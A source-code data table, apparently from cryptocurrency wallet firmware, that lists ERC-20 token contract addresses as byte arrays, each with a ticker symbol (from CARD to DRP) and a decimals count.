{{0x95,0x4b,0x89,0x07,0x04,0x69,0x3a,0xf2,0x42,0x61,0x3e,0xde,0xf1,0xb6,0x03,0x82,0x5a,0xfc,0xd7,0x08}, "CARD ", 18},
{{0xbf,0x18,0xf2,0x46,0xb9,0x30,0x1f,0x23,0x1e,0x95,0x61,0xb3,0x5a,0x38,0x79,0x76,0x9b,0xb4,0x63,0x75}, "CARE ", 18},
{{0xe8,0x78,0x0B,0x48,0xbd,0xb0,0x5F,0x92,0x86,0x97,0xA5,0xe8,0x15,0x5f,0x67,0x2E,0xD9,0x14,0x62,0xF7}, "CAS ", 18},
{{0x12,0x34,0x56,0x74,0x61,0xd3,0xf8,0xdb,0x74,0x96,0x58,0x17,0x74,0xbd,0x86,0x9c,0x83,0xd5,0x1c,0x93}, "BitClv ", 18},
{{0x56,0xba,0x2E,0xe7,0x89,0x04,0x61,0xf4,0x63,0xF7,0xbe,0x02,0xaA,0xC3,0x09,0x9f,0x6d,0x58,0x11,0xA8}, "Blockcat ", 18},
{{0x68,0xe1,0x4b,0xb5,0xA4,0x5B,0x96,0x81,0x32,0x7E,0x16,0xE5,0x28,0x08,0x4B,0x9d,0x96,0x2C,0x1a,0x39}, "BitClvs2 ", 18},
{{0x26,0xdb,0x54,0x39,0xf6,0x51,0xca,0xf4,0x91,0xa8,0x7d,0x48,0x79,0x9d,0xa8,0x1f,0x19,0x1b,0xdb,0x6b}, "CBC ", 8},
{{0x95,0xef,0xd1,0xfe,0x60,0x99,0xf6,0x5a,0x7e,0xd5,0x24,0xde,0xf4,0x87,0x48,0x32,0x21,0x09,0x49,0x47}, "CBM ", 18},
{{0x07,0x6C,0x97,0xe1,0xc8,0x69,0x07,0x2e,0xE2,0x2f,0x8c,0x91,0x97,0x8C,0x99,0xB4,0xbc,0xB0,0x25,0x91}, "CBT ", 18},
{{0xc1,0x66,0x03,0x87,0x05,0xFF,0xBA,0xb3,0x79,0x41,0x85,0xb3,0xa9,0xD9,0x25,0x63,0x2A,0x1D,0xF3,0x7D}, "CC3 ", 18},
{{0x28,0x57,0x7A,0x6d,0x31,0x55,0x9b,0xd2,0x65,0xCe,0x3A,0xDB,0x62,0xd0,0x45,0x85,0x50,0xF7,0xb8,0xa7}, "CrashCs ", 18},
{{0xbe,0x11,0xee,0xb1,0x86,0xe6,0x24,0xb8,0xf2,0x6a,0x50,0x45,0x57,0x5a,0x13,0x40,0xe4,0x05,0x45,0x52}, "CCC ico ", 18},
{{0x37,0x89,0x03,0xa0,0x3f,0xb2,0xc3,0xac,0x76,0xbb,0x52,0x77,0x3e,0x3c,0xe1,0x13,0x40,0x37,0x7a,0x32}, "CCCX ", 18},
{{0xd3,0x48,0xe0,0x7a,0x28,0x06,0x50,0x5b,0x85,0x61,0x23,0x04,0x5d,0x27,0xae,0xed,0x90,0x92,0x4b,0x50}, "CCLC ", 8},
{{0x67,0x9b,0xad,0xc5,0x51,0x62,0x6e,0x01,0xb2,0x3c,0xee,0xce,0xfb,0xc9,0xb8,0x77,0xea,0x18,0xfc,0x46}, "CCO ", 18},
{{0x31,0x5c,0xe5,0x9f,0xaf,0xd3,0xa8,0xd5,0x62,0xb7,0xec,0x1c,0x85,0x42,0x38,0x2d,0x27,0x10,0xb0,0x6c}, "CCS ", 18},
{{0x33,0x6f,0x64,0x6f,0x87,0xd9,0xf6,0xbc,0x6e,0xd4,0x2d,0xd4,0x6e,0x8b,0x3f,0xd9,0xdb,0xd1,0x5c,0x22}, "CCT ", 18},
{{0x8a,0x95,0xca,0x44,0x8A,0x52,0xC0,0xAD,0xf0,0x05,0x4b,0xB3,0x40,0x2d,0xC5,0xe0,0x9C,0xD6,0xB2,0x32}, "CDL ", 18},
{{0x17,0x7d,0x39,0xAC,0x67,0x6E,0xD1,0xC6,0x7A,0x2b,0x26,0x8A,0xD7,0xF1,0xE5,0x88,0x26,0xE5,0xB0,0xaf}, "CDT ", 18},
{{0x2c,0xb1,0x01,0xd7,0xda,0x0e,0xba,0xa5,0x7d,0x3f,0x2f,0xef,0x46,0xd7,0xff,0xb7,0xbb,0x64,0x59,0x2b}, "CDX C$X ", 0},
{{0x6f,0xFF,0x38,0x06,0xBb,0xac,0x52,0xA2,0x0e,0x0d,0x79,0xBC,0x53,0x8d,0x52,0x7f,0x6a,0x22,0xc9,0x6b}, "CDX Net ", 18},
{{0xb0,0x56,0xc3,0x8f,0x6b,0x7d,0xc4,0x06,0x43,0x67,0x40,0x3e,0x26,0x42,0x4c,0xd2,0xc6,0x06,0x55,0xe1}, "CEEK ", 18},
{{0x11,0x22,0xb6,0xa0,0xe0,0x0d,0xce,0x05,0x63,0x08,0x2b,0x6e,0x29,0x53,0xf3,0xa9,0x43,0x85,0x5c,0x1f}, "CENNZ ", 18},
{{0xf6,0x60,0xca,0x1e,0x22,0x8e,0x7b,0xe1,0xfa,0x8b,0x4f,0x55,0x83,0x14,0x5e,0x31,0x14,0x7f,0xb5,0x77}, "CET ", 18},
{{0x5d,0xff,0x89,0xa2,0xca,0xa4,0xd7,0x6b,0xc2,0x86,0xf7,0x4d,0x67,0xbd,0x71,0x8e,0xb8,0x34,0xda,0x61}, "CFC ", 18},
{{0x12,0xFE,0xF5,0xe5,0x7b,0xF4,0x58,0x73,0xCd,0x9B,0x62,0xE9,0xDB,0xd7,0xBF,0xb9,0x9e,0x32,0xD7,0x3e}, "CFI ", 18},
{{0x69,0x56,0x98,0x3f,0x8b,0x3c,0xe1,0x73,0xb4,0xab,0x84,0x36,0x1a,0xa0,0xad,0x52,0xf3,0x8d,0x93,0x6f}, "CFTY ", 8},
{{0xf3,0xdb,0x75,0x60,0xe8,0x20,0x83,0x46,0x58,0xb5,0x90,0xc9,0x62,0x34,0xc3,0x33,0xcd,0x3d,0x5e,0x5e}, "CHP ", 18},
{{0xba,0x9d,0x41,0x99,0xfa,0xb4,0xf2,0x6e,0xfe,0x35,0x51,0xd4,0x90,0xe3,0x82,0x14,0x86,0xf1,0x35,0xba}, "CHSB ", 8},
{{0x14,0x60,0xa5,0x80,0x96,0xd8,0x0a,0x50,0xa2,0xf1,0xf9,0x56,0xdd,0xa4,0x97,0x61,0x1f,0xa4,0xf1,0x65}, "CHX ", 18},
{{0x3a,0xbd,0xff,0x32,0xf7,0x6b,0x42,0xe7,0x63,0x5b,0xdb,0x7e,0x42,0x5f,0x02,0x31,0xa5,0xf3,0xab,0x17}, "CJT ", 18},
{{0x06,0x01,0x2c,0x8c,0xf9,0x7b,0xea,0xd5,0xde,0xae,0x23,0x70,0x70,0xf9,0x58,0x7f,0x8e,0x7a,0x26,0x6d}, "CK ", 0},
{{0xe8,0x1d,0x72,0xd1,0x4b,0x15,0x16,0xe6,0x8a,0xc3,0x19,0x0a,0x46,0xc9,0x33,0x02,0xcc,0x8e,0xd6,0x0f}, "CL ", 18},
{{0xb1,0xc1,0xcb,0x8c,0x7c,0x19,0x92,0xdb,0xa2,0x4e,0x62,0x8b,0xf7,0xd3,0x8e,0x71,0xda,0xd4,0x6a,0xeb}, "CLB ", 18},
{{0x3d,0xc9,0xa4,0x2f,0xa7,0xaf,0xe5,0x7b,0xe0,0x3c,0x58,0xfd,0x7f,0x44,0x11,0xb1,0xe4,0x66,0xc5,0x08}, "CLL ", 18},
{{0x41,0x62,0x17,0x8B,0x78,0xD6,0x98,0x54,0x80,0xA3,0x08,0xB2,0x19,0x0E,0xE5,0x51,0x74,0x60,0x40,0x6D}, "CLN ", 18},
{{0x7f,0xce,0x28,0x56,0x89,0x9a,0x68,0x06,0xee,0xef,0x70,0x80,0x79,0x85,0xfc,0x75,0x54,0xc6,0x63,0x40}, "CLP ", 9},
{{0x3e,0xdd,0x23,0x5c,0x3e,0x84,0x0c,0x1f,0x29,0x28,0x6b,0x2e,0x39,0x37,0x0a,0x25,0x5c,0x7b,0x6f,0xdb}, "CMBT ", 8},
{{0x7e,0x66,0x75,0x25,0x52,0x1c,0xF6,0x13,0x52,0xe2,0xE0,0x1b,0x50,0xFa,0xaa,0xE7,0xDf,0x39,0x74,0x9a}, "CMC ", 18},
{{0x47,0xbc,0x01,0x59,0x77,0x98,0xdc,0xd7,0x50,0x6d,0xcc,0xa3,0x6a,0xc4,0x30,0x2f,0xc9,0x3a,0x8c,0xfb}, "CMCT ", 8},
{{0xf8,0x5f,0xEe,0xa2,0xFd,0xD8,0x1d,0x51,0x17,0x7F,0x6b,0x8F,0x35,0xF0,0xe6,0x73,0x4C,0xe4,0x5F,0x5F}, "CMT ", 18},
{{0xEB,0xf2,0xF9,0xE8,0xDe,0x96,0x0f,0x64,0xec,0x0f,0xDC,0xDa,0x6C,0xb2,0x82,0x42,0x31,0x33,0x34,0x7B}, "CNB ", 8},
{{0xd4,0xc4,0x35,0xf5,0xb0,0x9f,0x85,0x5c,0x33,0x17,0xc8,0x52,0x4c,0xb1,0xf5,0x86,0xe4,0x27,0x95,0xfa}, "CND ", 18},
{{0x87,0x13,0xd2,0x66,0x37,0xcf,0x49,0xe1,0xb6,0xb4,0xa7,0xce,0x57,0x10,0x6a,0xab,0xc9,0x32,0x53,0x43}, "CNN ", 18},
{{0xB4,0xb1,0xD2,0xC2,0x17,0xEC,0x07,0x76,0x58,0x4C,0xE0,0x8D,0x3D,0xD9,0x8F,0x90,0xED,0xed,0xA4,0x4b}, "CO2 ", 18},
{{0x57,0x4b,0x36,0xbc,0xed,0x44,0x33,0x38,0x87,0x5d,0x17,0x1c,0xc3,0x77,0xe6,0x91,0xf7,0xd4,0xf8,0x87}, "CO2Bit ", 18},
{{0xb2,0xf7,0xeb,0x1f,0x2c,0x37,0x64,0x5b,0xe6,0x1d,0x73,0x95,0x30,0x35,0x36,0x0e,0x76,0x8d,0x81,0xe6}, "COB ", 18},
{{0x31,0x36,0xeF,0x85,0x15,0x92,0xaC,0xf4,0x9C,0xA4,0xC8,0x25,0x13,0x1E,0x36,0x41,0x70,0xFA,0x32,0xb3}, "COFI ", 18},
{{0x0c,0x91,0xb0,0x15,0xab,0xa6,0xf7,0xb4,0x73,0x8d,0xcd,0x36,0xe7,0x41,0x01,0x38,0xb2,0x9a,0xdc,0x29}, "COIL ", 8},
{{0xeb,0x54,0x7e,0xd1,0xd8,0xa3,0xff,0x14,0x61,0xab,0xaa,0x7f,0x00,0x22,0xfe,0xd4,0x83,0x6e,0x00,0xa4}, "COIN ", 18},
{{0xc4,0xbc,0xd6,0x4c,0xb2,0x16,0xd4,0x9f,0xd3,0xc6,0x43,0xa3,0x27,0x62,0xf3,0x46,0x26,0xb4,0x5a,0x1a}, "COSM ", 18},
{{0x65,0x29,0x2e,0xea,0xdf,0x14,0x26,0xcd,0x2d,0xf1,0xc4,0x79,0x3a,0x3d,0x75,0x19,0xf2,0x53,0x91,0x3b}, "COSS ", 18},
{{0x9e,0x96,0x60,0x44,0x45,0xec,0x19,0xff,0xed,0x9a,0x5e,0x8d,0xd7,0xb5,0x0a,0x29,0xc8,0x99,0xa1,0x0c}, "COSS.io ", 18},
{{0xE2,0xFB,0x65,0x29,0xEF,0x56,0x6a,0x08,0x0e,0x6d,0x23,0xdE,0x0b,0xd3,0x51,0x31,0x10,0x87,0xD5,0x67}, "COV ", 18},
{{0x0E,0xbb,0x61,0x42,0x04,0xE4,0x7c,0x09,0xB6,0xC3,0xFe,0xB9,0xAA,0xeC,0xad,0x8E,0xE0,0x60,0xE2,0x3E}, "CPAY ", 0},
{{0xfA,0xE4,0xEe,0x59,0xCD,0xd8,0x6e,0x3B,0xe9,0xe8,0xb9,0x0b,0x53,0xAA,0x86,0x63,0x27,0xD7,0xc0,0x90}, "CPC ", 18},
{{0xb7,0x87,0xd4,0xea,0xc8,0x89,0x97,0x30,0xbb,0x8c,0x57,0xfc,0x3c,0x99,0x8c,0x49,0xc5,0x24,0x4e,0xc0}, "CPEX ", 8},
{{0x70,0x64,0xaA,0xb3,0x9A,0x0F,0xcf,0x72,0x21,0xc3,0x39,0x67,0x19,0xD0,0x91,0x7a,0x65,0xE3,0x55,0x15}, "CPOLLO ", 18},
{{0x88,0xd5,0x0b,0x46,0x6b,0xe5,0x52,0x22,0x01,0x9d,0x71,0xf9,0xe8,0xfa,0xe1,0x7f,0x5f,0x45,0xfc,0xa1}, "CPT ", 8},
{{0xf4,0x47,0x45,0xfb,0xd4,0x1f,0x6a,0x1b,0xa1,0x51,0xdf,0x19,0x0d,0xb0,0x56,0x4c,0x5f,0xcc,0x44,0x10}, "CPY ", 18},
{{0x7f,0x58,0x5b,0x91,0x30,0xc6,0x4e,0x9e,0x9f,0x47,0x0b,0x61,0x8a,0x7b,0xad,0xd0,0x3d,0x79,0xca,0x7e}, "CR7 ", 18},
{{0xAe,0xf3,0x8f,0xBF,0xBF,0x93,0x2D,0x1A,0xeF,0x3B,0x80,0x8B,0xc8,0xfB,0xd8,0xCd,0x8E,0x1f,0x8B,0xC5}, "CRB ", 8},
{{0x2c,0xf6,0x18,0xc1,0x90,0x41,0xd9,0xdb,0x33,0x0d,0x82,0x22,0xb8,0x60,0xa6,0x24,0x02,0x1f,0x30,0xfb}, "CRBT ", 18},
{{0xf4,0x1e,0x5f,0xbc,0x2f,0x6a,0xac,0x20,0x0d,0xd8,0x61,0x9e,0x12,0x1c,0xe1,0xf0,0x5d,0x15,0x00,0x77}, "CRC ", 18},
{{0x67,0x2a,0x1A,0xD4,0xf6,0x67,0xFB,0x18,0xA3,0x33,0xAf,0x13,0x66,0x7a,0xa0,0xAf,0x1F,0x5b,0x5b,0xDD}, "CRED ", 18},
{{0x4e,0x06,0x03,0xe2,0xa2,0x7a,0x30,0x48,0x0e,0x5e,0x3a,0x4f,0xe5,0x48,0xe2,0x9e,0xf1,0x2f,0x64,0xbe}, "CREDO ", 18},
{{0xf4,0x9c,0xdd,0x50,0xad,0x40,0x8d,0x38,0x7d,0x61,0x1f,0x88,0xa6,0x47,0x17,0x9c,0x3d,0xe3,0x49,0x2b}, "CRGO ", 18},
{{0x92,0x38,0xbf,0xb7,0x81,0xa5,0x5e,0xac,0xc3,0xcf,0x05,0xf7,0xdf,0x94,0x03,0x8c,0x19,0x8c,0xd9,0xb9}, "CRMT ", 8},
{{0x80,0xa7,0xe0,0x48,0xf3,0x7a,0x50,0x50,0x03,0x51,0xc2,0x04,0xcb,0x40,0x77,0x66,0xfa,0x3b,0xae,0x7f}, "CRPT ", 18},
{{0xF0,0xda,0x11,0x86,0xa4,0x97,0x72,0x26,0xb9,0x13,0x5d,0x06,0x13,0xee,0x72,0xe2,0x29,0xEC,0x3F,0x4d}, "CRT ", 18},
{{0x46,0xb9,0xad,0x94,0x4d,0x10,0x59,0x45,0x0d,0xa1,0x16,0x35,0x11,0x06,0x9c,0x71,0x8f,0x69,0x9d,0x31}, "CS ", 6},
{{0x29,0xd7,0x52,0x77,0xac,0x7f,0x03,0x35,0xb2,0x16,0x5d,0x08,0x95,0xe8,0x72,0x5c,0xbf,0x65,0x8d,0x73}, "CSNO ", 8},
{{0xbb,0x49,0xa5,0x1e,0xe5,0xa6,0x6c,0xa3,0xa8,0xcb,0xe5,0x29,0x37,0x9b,0xa4,0x4b,0xa6,0x7e,0x67,0x71}, "CST ", 18},
{{0x45,0x45,0x75,0x0F,0x39,0xaF,0x6B,0xe4,0xF2,0x37,0xB6,0x86,0x9D,0x4E,0xcc,0xA9,0x28,0xFd,0x5A,0x85}, "CTF ", 18},
{{0xc8,0x7c,0x5d,0xd8,0x6a,0x3d,0x56,0x7f,0xf2,0x87,0x01,0x88,0x6f,0xb0,0x74,0x5a,0xaa,0x89,0x8d,0xa4}, "CTG ", 18},
{{0x9e,0x7d,0x29,0xbd,0x49,0x9b,0x6c,0x7d,0xa2,0xa5,0xb2,0xea,0xfc,0xf4,0xa3,0x9d,0x3b,0xd8,0x45,0xd1}, "CTGC ", 18},
{{0xbf,0x4c,0xfd,0x7d,0x1e,0xde,0xee,0xa5,0xf6,0x60,0x08,0x27,0x41,0x1b,0x41,0xa2,0x1e,0xb0,0x8a,0xbd}, "CTL ", 2},
{{0x96,0xA6,0x56,0x09,0xa7,0xB8,0x4E,0x88,0x42,0x73,0x2D,0xEB,0x08,0xf5,0x6C,0x3E,0x21,0xaC,0x6f,0x8a}, "CTR ", 18},
{{0xE3,0xFa,0x17,0x7A,0xce,0xcf,0xB8,0x67,0x21,0xCf,0x6f,0x9f,0x42,0x06,0xbd,0x3B,0xd6,0x72,0xD7,0xd5}, "CTT ", 18},
{{0x66,0x2a,0xBc,0xAd,0x0b,0x7f,0x34,0x5A,0xB7,0xFf,0xB1,0xb1,0xfb,0xb9,0xDf,0x78,0x94,0xf1,0x8e,0x66}, "CTX ", 18},
{{0xea,0x11,0x75,0x5a,0xe4,0x1d,0x88,0x9c,0xee,0xc3,0x9a,0x63,0xe6,0xff,0x75,0xa0,0x2b,0xc1,0xc0,0x0d}, "CTXC ", 18},
{{0xdA,0x6c,0xb5,0x8A,0x0D,0x0C,0x01,0x61,0x0a,0x29,0xc5,0xA6,0x5c,0x30,0x3e,0x13,0xe8,0x85,0x88,0x7C}, "cV ", 18},
{{0x41,0xe5,0x56,0x00,0x54,0x82,0x4e,0xa6,0xb0,0x73,0x2e,0x65,0x6e,0x3a,0xd6,0x4e,0x20,0xe9,0x4e,0x45}, "CVC ", 8},
{{0xbe,0x42,0x8c,0x38,0x67,0xf0,0x5d,0xea,0x2a,0x89,0xfc,0x76,0xa1,0x02,0xb5,0x44,0xea,0xc7,0xf7,0x72}, "CVT ", 18},
{{0x21,0x34,0x05,0x7c,0x0b,0x46,0x1f,0x89,0x8d,0x37,0x5c,0xea,0xd6,0x52,0xac,0xae,0x62,0xb5,0x95,0x41}, "CXC ", 18},
{{0xb6,0xEE,0x96,0x68,0x77,0x1a,0x79,0xbe,0x79,0x67,0xee,0x29,0xa6,0x3D,0x41,0x84,0xF8,0x09,0x71,0x43}, "CXO ", 18},
{{0x3f,0x06,0xB5,0xD7,0x84,0x06,0xcD,0x97,0xbd,0xf1,0x0f,0x5C,0x42,0x0B,0x24,0x1D,0x32,0x75,0x9c,0x80}, "CYFM ", 18},
{{0x78,0xc2,0x92,0xd1,0x44,0x5e,0x6b,0x95,0x58,0xbf,0x42,0xe8,0xbc,0x36,0x92,0x71,0xde,0xd0,0x62,0xea}, "CYMT ", 8},
{{0x02,0x23,0xfc,0x70,0x57,0x42,0x14,0xf6,0x58,0x13,0xfe,0x33,0x6d,0x87,0x0a,0xc4,0x7e,0x14,0x7f,0xae}, "CZR ", 18},
{{0xE4,0xc9,0x4d,0x45,0xf7,0xAe,0xf7,0x01,0x8a,0x5D,0x66,0xf4,0x4a,0xF7,0x80,0xec,0x60,0x23,0x37,0x8e}, "CrCarbon ", 6},
{{0x05,0xc3,0x61,0x7c,0xbf,0x13,0x04,0xb9,0x26,0x0a,0xa6,0x1e,0xc9,0x60,0xf1,0x15,0xd6,0x7b,0xec,0xea}, "Cubrix ", 18},
{{0xda,0xb0,0xC3,0x1B,0xF3,0x4C,0x89,0x7F,0xb0,0xFe,0x90,0xD1,0x2E,0xC9,0x40,0x1c,0xaf,0x5c,0x36,0xEc}, "DAB ", 0},
{{0xa3,0x11,0x08,0xe5,0xba,0xb5,0x49,0x45,0x60,0xdb,0x34,0xc9,0x54,0x92,0x65,0x8a,0xf2,0x39,0x35,0x7c}, "DACS ", 18},
{{0xfb,0x2f,0x26,0xf2,0x66,0xfb,0x28,0x05,0xa3,0x87,0x23,0x0f,0x2a,0xa0,0xa3,0x31,0xb4,0xd9,0x6f,0xba}, "DADI ", 18},
{{0x89,0xd2,0x4A,0x6b,0x4C,0xcB,0x1B,0x6f,0xAA,0x26,0x25,0xfE,0x56,0x2b,0xDD,0x9a,0x23,0x26,0x03,0x59}, "DAI ", 18},
{{0x07,0xd9,0xe4,0x9e,0xa4,0x02,0x19,0x4b,0xf4,0x8a,0x82,0x76,0xda,0xfb,0x16,0xe4,0xed,0x63,0x33,0x17}, "DALC ", 8},
{{0x9B,0x70,0x74,0x0e,0x70,0x8a,0x08,0x3C,0x6f,0xF3,0x8D,0xf5,0x22,0x97,0x02,0x0f,0x5D,0xfA,0xa5,0xEE}, "DAN ", 10},
{{0xBB,0x9b,0xc2,0x44,0xD7,0x98,0x12,0x3f,0xDe,0x78,0x3f,0xCc,0x1C,0x72,0xd3,0xBb,0x8C,0x18,0x94,0x13}, "DAO ", 16},
{{0x81,0xc9,0x15,0x1d,0xe0,0xc8,0xba,0xfc,0xd3,0x25,0xa5,0x7e,0x3d,0xb5,0xa5,0xdf,0x1c,0xeb,0xf7,0x9c}, "DAT ", 18},
{{0x1b,0x5f,0x21,0xee,0x98,0xee,0xd4,0x8d,0x29,0x2e,0x8e,0x2d,0x3e,0xd8,0x2b,0x40,0xa9,0x72,0x8a,0x22}, "DATABrkr ", 18},
{{0x0c,0xf0,0xee,0x63,0x78,0x8a,0x08,0x49,0xfe,0x52,0x97,0xf3,0x40,0x7f,0x70,0x1e,0x12,0x2c,0xc0,0x23}, "DATACoin ", 18},
{{0xab,0xbb,0xb6,0x44,0x7b,0x68,0xff,0xd6,0x14,0x1d,0xa7,0x7c,0x18,0xc7,0xb5,0x87,0x6e,0xd6,0xc5,0xab}, "DATx ", 18},
{{0xd8,0x2D,0xf0,0xAB,0xD3,0xf5,0x14,0x25,0xEb,0x15,0xef,0x75,0x80,0xfD,0xA5,0x57,0x27,0x87,0x5f,0x14}, "DAV ", 18},
{{0x0b,0x4b,0xdc,0x47,0x87,0x91,0x89,0x72,0x74,0x65,0x2d,0xc1,0x5e,0xf5,0xc1,0x35,0xca,0xe6,0x1e,0x60}, "DAX ", 18},
{{0x61,0x72,0x5f,0x3d,0xb4,0x00,0x4a,0xfe,0x01,0x47,0x45,0xb2,0x1d,0xab,0x1e,0x16,0x77,0xcc,0x32,0x8b}, "DAXT ", 18},
{{0x9b,0x68,0xbf,0xae,0x21,0xdf,0x5a,0x51,0x09,0x31,0xa2,0x62,0xce,0xcf,0x63,0xf4,0x13,0x38,0xf2,0x64}, "DBET ", 18},
{{0x38,0x6F,0xaa,0x47,0x03,0xa3,0x4a,0x7F,0xdb,0x19,0xBe,0xc2,0xe1,0x4F,0xd4,0x27,0xC9,0x63,0x84,0x16}, "DCA ", 18},
{{0xff,0xa9,0x3a,0xac,0xf4,0x92,0x97,0xd5,0x1e,0x21,0x18,0x17,0x45,0x28,0x39,0x05,0x2f,0xdf,0xb9,0x61}, "DCC ", 18},
{{0x39,0x9A,0x0e,0x6F,0xbE,0xb3,0xd7,0x4c,0x85,0x35,0x74,0x39,0xf4,0xc8,0xAe,0xD9,0x67,0x8a,0x5c,0xbF}, "DCL ", 3},
{{0x08,0xd3,0x2b,0x0d,0xa6,0x3e,0x2C,0x3b,0xcF,0x80,0x19,0xc9,0xc5,0xd8,0x49,0xd7,0xa9,0xd7,0x91,0xe6}, "DCN ", 0},
{{0xcC,0x4e,0xF9,0xEE,0xAF,0x65,0x6a,0xC1,0xa2,0xAb,0x88,0x67,0x43,0xE9,0x8e,0x97,0xE0,0x90,0xed,0x38}, "DDF ", 18},
{{0x15,0x12,0x02,0xC9,0xc1,0x8e,0x49,0x56,0x56,0xf3,0x72,0x28,0x1F,0x49,0x3E,0xB7,0x69,0x89,0x61,0xD5}, "DEB ", 18},
{{0xde,0x1e,0x0a,0xe6,0x10,0x1b,0x46,0x52,0x0c,0xf6,0x6f,0xdc,0x0b,0x10,0x59,0xc5,0xcc,0x3d,0x10,0x6c}, "DELTA ", 8},
{{0x35,0x97,0xbf,0xd5,0x33,0xa9,0x9c,0x9a,0xa0,0x83,0x58,0x7b,0x07,0x44,0x34,0xe6,0x1e,0xb0,0xa2,0x58}, "DENT ", 8},
{{0x7c,0xF2,0x71,0x96,0x6F,0x36,0x34,0x3B,0xf0,0x15,0x0F,0x25,0xE5,0x36,0x4f,0x79,0x61,0xc5,0x82,0x01}, "DEPO ", 0},
{{0x89,0xcb,0xea,0xc5,0xe8,0xa1,0x3f,0x0e,0xbb,0x4c,0x74,0xfa,0xdf,0xc6,0x9b,0xe8,0x1a,0x50,0x11,0x06}, "DeposNet ", 18},
{{0xdd,0x94,0xDe,0x9c,0xFE,0x06,0x35,0x77,0x05,0x1A,0x5e,0xb7,0x46,0x5D,0x08,0x31,0x7d,0x88,0x08,0xB6}, "Devcon2 ", 0},
{{0x20,0xe9,0x48,0x67,0x79,0x4d,0xba,0x03,0x0e,0xe2,0x87,0xf1,0x40,0x6e,0x10,0x0d,0x03,0xc8,0x4c,0xd3}, "DEW ", 18},
{{0x49,0x7b,0xAE,0xF2,0x94,0xc1,0x1a,0x5f,0x0f,0x5B,0xea,0x3f,0x2A,0xdB,0x30,0x73,0xDB,0x44,0x8B,0x56}, "DEX ", 18},
{{0xE0,0xB7,0x92,0x7c,0x4a,0xF2,0x37,0x65,0xCb,0x51,0x31,0x4A,0x0E,0x05,0x21,0xA9,0x64,0x5F,0x0E,0x2A}, "DGD ", 9},
{{0xf6,0xcF,0xe5,0x3d,0x6F,0xEb,0xaE,0xEA,0x05,0x1f,0x40,0x0f,0xf5,0xfc,0x14,0xF0,0xcB,0xBD,0xac,0xA1}, "DGPT ", 18},
{{0x6a,0xED,0xbF,0x8d,0xFF,0x31,0x43,0x72,0x20,0xdF,0x35,0x19,0x50,0xBa,0x2a,0x33,0x62,0x16,0x8d,0x1b}, "DGS ", 8},
{{0x1c,0x83,0x50,0x14,0x78,0xf1,0x32,0x09,0x77,0x04,0x70,0x08,0x49,0x6d,0xac,0xbd,0x60,0xbb,0x15,0xef}, "DGTX ", 18},
{{0x4f,0x3a,0xfe,0xc4,0xe5,0xa3,0xf2,0xa6,0xa1,0xa4,0x11,0xde,0xf7,0xd7,0xdf,0xe5,0x0e,0xe0,0x57,0xbf}, "DGX ", 9},
{{0x55,0xb9,0xa1,0x1c,0x2e,0x83,0x51,0xb4,0xFf,0xc7,0xb1,0x15,0x61,0x14,0x8b,0xfa,0xC9,0x97,0x78,0x55}, "DGX1 ", 9},
{{0x2e,0x07,0x1D,0x29,0x66,0xAa,0x7D,0x8d,0xEC,0xB1,0x00,0x58,0x85,0xbA,0x19,0x77,0xD6,0x03,0x8A,0x65}, "DICE ", 16},
{{0xc7,0x19,0xd0,0x10,0xB6,0x3E,0x5b,0xbF,0x2C,0x05,0x51,0x87,0x2C,0xD5,0x31,0x6E,0xD2,0x6A,0xcD,0x83}, "DecInsur ", 18},
{{0xf1,0x49,0x22,0x00,0x1a,0x2f,0xb8,0x54,0x1a,0x43,0x39,0x05,0x43,0x7a,0xe9,0x54,0x41,0x9c,0x24,0x39}, "DIT ", 8},
{{0x13,0xf1,0x1C,0x99,0x05,0xA0,0x8c,0xa7,0x6e,0x3e,0x85,0x3b,0xE6,0x3D,0x4f,0x09,0x44,0x32,0x6C,0x72}, "DIVX ", 18},
{{0x07,0xe3,0xc7,0x06,0x53,0x54,0x8b,0x04,0xf0,0xa7,0x59,0x70,0xc1,0xf8,0x1b,0x4c,0xbb,0xfb,0x60,0x6f}, "DLT ", 18},
{{0x2c,0xcb,0xFF,0x3A,0x04,0x2c,0x68,0x71,0x6E,0xd2,0xa2,0xCb,0x0c,0x54,0x4A,0x9f,0x1d,0x19,0x35,0xE1}, "DMT ", 8},
{{0x82,0xb0,0xe5,0x04,0x78,0xee,0xaf,0xde,0x39,0x2d,0x45,0xd1,0x25,0x9e,0xd1,0x07,0x1b,0x6f,0xda,0x81}, "DNA ", 18},
{{0x0a,0xbd,0xac,0xe7,0x0d,0x37,0x90,0x23,0x5a,0xf4,0x48,0xc8,0x85,0x47,0x60,0x3b,0x94,0x56,0x04,0xea}, "DNT ", 18},
{{0xE4,0x3E,0x20,0x41,0xdc,0x37,0x86,0xe1,0x66,0x96,0x1e,0xD9,0x48,0x4a,0x55,0x39,0x03,0x3d,0x10,0xfB}, "DNX ", 18},
{{0xe5,0xda,0xda,0x80,0xaa,0x64,0x77,0xe8,0x5d,0x09,0x74,0x7f,0x28,0x42,0xf7,0x99,0x3d,0x0d,0xf7,0x1c}, "DOCK ", 18},
{{0x90,0x6b,0x3f,0x8b,0x78,0x45,0x84,0x01,0x88,0xea,0xb5,0x3c,0x3f,0x5a,0xd3,0x48,0xa7,0x87,0x75,0x2f}, "DOR ", 15},
{{0xac,0x32,0x11,0xa5,0x02,0x54,0x14,0xaf,0x28,0x66,0xff,0x09,0xc2,0x3f,0xc1,0x8b,0xc9,0x7e,0x79,0xb1}, "DOV ", 18},
{{0x76,0x97,0x4c,0x7b,0x79,0xdc,0x8a,0x6a,0x10,0x9f,0xd7,0x1f,0xd7,0xce,0xb9,0xe4,0x0e,0xff,0x53,0x82}, "DOW ", 18},
{{0x01,0xb3,0xEc,0x4a,0xAe,0x1B,0x87,0x29,0x52,0x9B,0xEB,0x49,0x65,0xF2,0x7d,0x00,0x87,0x88,0xB0,0xEB}, "DPP ", 18},
{{0x41,0x9c,0x4d,0xb4,0xb9,0xe2,0x5d,0x6d,0xb2,0xad,0x96,0x91,0xcc,0xb8,0x32,0xc8,0xd9,0xfd,0xa0,0x5e}, "DRGN ", 18},
{{0x46,0x72,0xba,0xd5,0x27,0x10,0x74,0x71,0xcb,0x50,0x67,0xa8,0x87,0xf4,0x65,0x6d,0x58,0x5a,0x8a,0x31}, "DROPil ", 18},
{{0x3c,0x75,0x22,0x65,0x55,0xFC,0x49,0x61,0x68,0xd4,0x8B,0x88,0xDF,0x83,0xB9,0x5F,0x16,0x77,0x1F,0x37}, "DROPlex ", 0},
{{0x62,0x1d,0x78,0xf2,0xef,0x2f,0xd9,0x37,0xbf,0xca,0x69,0x6c,0xab,0xaf,0x9a,0x77,0x9f,0x59,0xb3,0xed}, "DRP ", 2},
